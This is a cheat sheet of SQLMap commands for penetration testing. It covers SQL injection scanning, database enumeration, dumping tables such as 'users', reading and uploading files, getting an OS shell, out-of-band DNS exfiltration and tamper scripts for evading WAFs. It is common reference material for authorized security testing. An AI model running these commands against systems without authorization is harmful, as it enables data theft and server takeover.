SQLMap Cheat Sheet

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What is SQLMap?

SQLMap is an open-source penetration testing tool that automates the detection and exploitation of SQL injection flaws and takes over database servers.

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Basic SQLMap Commands

Command	Description
sqlmap -u <URL>	Scan the URL for SQL injection vulnerabilities
sqlmap -r <request_file>	Scan from a saved HTTP request file
sqlmap -u <URL> --dbs	List available databases on the target
sqlmap -u <URL> -D <db_name> --tables	List tables in a specific database
sqlmap -u <URL> -D <db_name> -T <table_name> --columns	List columns in a specific table
sqlmap -u <URL> -D <db_name> -T <table_name> -C <columns> --dump	Dump data from specific columns
sqlmap -u <URL> --dump-all	Dump the entire database
sqlmap -u <URL> --os-shell	Get a command shell on the operating system
sqlmap -u <URL> --dbms <DBMS>	Force SQLMap to use a specific database management system (e.g., MySQL, PostgreSQL)

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Advanced Usage

1. Specifying Data Parameters

If the vulnerable parameter isn’t in the URL, you can specify it manually.

Command	Description
sqlmap -u <URL> --data="param1=value1&param2=value2"	Inject SQL into POST request parameters
sqlmap -u <URL> --method PUT --data="param1=value1"	Use HTTP PUT method with SQLMap

2. Cookie-based SQL Injection

If the vulnerability is within the cookies, you can pass the cookie values.

Command	Description
sqlmap -u <URL> --cookie="PHPSESSID=abcd1234"	Use cookies to authenticate and test for vulnerabilities

3. Scan with Specific User-Agent

Command	Description
sqlmap -u <URL> --user-agent="Mozilla/5.0"	Spoof the User-Agent header in the request

4. Use a Proxy

Command	Description
sqlmap -u <URL> --proxy="http://localhost:8080"	Route the SQLMap traffic through a proxy (e.g., Burp Suite)

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Enumeration

1. Get Database Version

sqlmap -u <URL> --banner

2. List Databases

sqlmap -u <URL> --dbs

3. List Tables in a Specific Database

sqlmap -u <URL> -D <db_name> --tables

4. List Columns in a Specific Table

sqlmap -u <URL> -D <db_name> -T <table_name> --columns

5. Dump Table Data

sqlmap -u <URL> -D <db_name> -T <table_name> --dump

6. Dump Specific Columns

sqlmap -u <URL> -D <db_name> -T <table_name> -C <column1,column2> --dump

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Exploitation Options

1. File System Access

Command	Description
sqlmap -u <URL> --file-read <file>	Read a file from the target’s file system
sqlmap -u <URL> --file-write <local_file> --file-dest <remote_file>	Upload a file to the target

2. Command Shell

Command	Description
sqlmap -u <URL> --os-shell	Get an interactive operating system shell on the target

3. Out-of-Band Connections

Command	Description
sqlmap -u <URL> --dns-domain=<domain>	Perform out-of-band (OOB) interaction via DNS
sqlmap -u <URL> --dns-server=<server>	Specify a DNS server for OOB interactions

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Other Useful Flags

Command	Description
sqlmap -u <URL> --batch	Automatically skip prompts (useful for automation)
sqlmap -u <URL> --tamper=<tamper_script>	Use tamper scripts to bypass WAF/IDS (e.g., --tamper=space2comment)
sqlmap -u <URL> --level=<level>	Set the level of tests (1 to 5, higher levels test more parameters)
sqlmap -u <URL> --risk=<risk>	Set the risk level of tests (1 to 3, higher risks may cause more intrusive operations)
sqlmap -u <URL> --random-agent	Use a randomly chosen User-Agent string

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Example Commands

1. Basic SQL Injection Scan

sqlmap -u http://example.com/index.php?id=1

2. Dump Entire Database

sqlmap -u http://example.com/index.php?id=1 --dump-all

3. Dump Specific Database Table

sqlmap -u http://example.com/index.php?id=1 -D testdb -T users --dump

4. Bypass WAF Using Tamper Script

sqlmap -u http://example.com/index.php?id=1 --tamper=space2comment

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Tamper Scripts

Tamper scripts can help you bypass Web Application Firewalls (WAFs) by modifying SQL queries. Some common tamper scripts:

Script	Description
space2comment.py	Replaces space characters with inline comments
between.py	Replaces SQL operators with the BETWEEN clause
randomcase.py	Randomizes the case of SQL keywords

Usage Example:

sqlmap -u http://example.com/index.php?id=1 --tamper=space2comment

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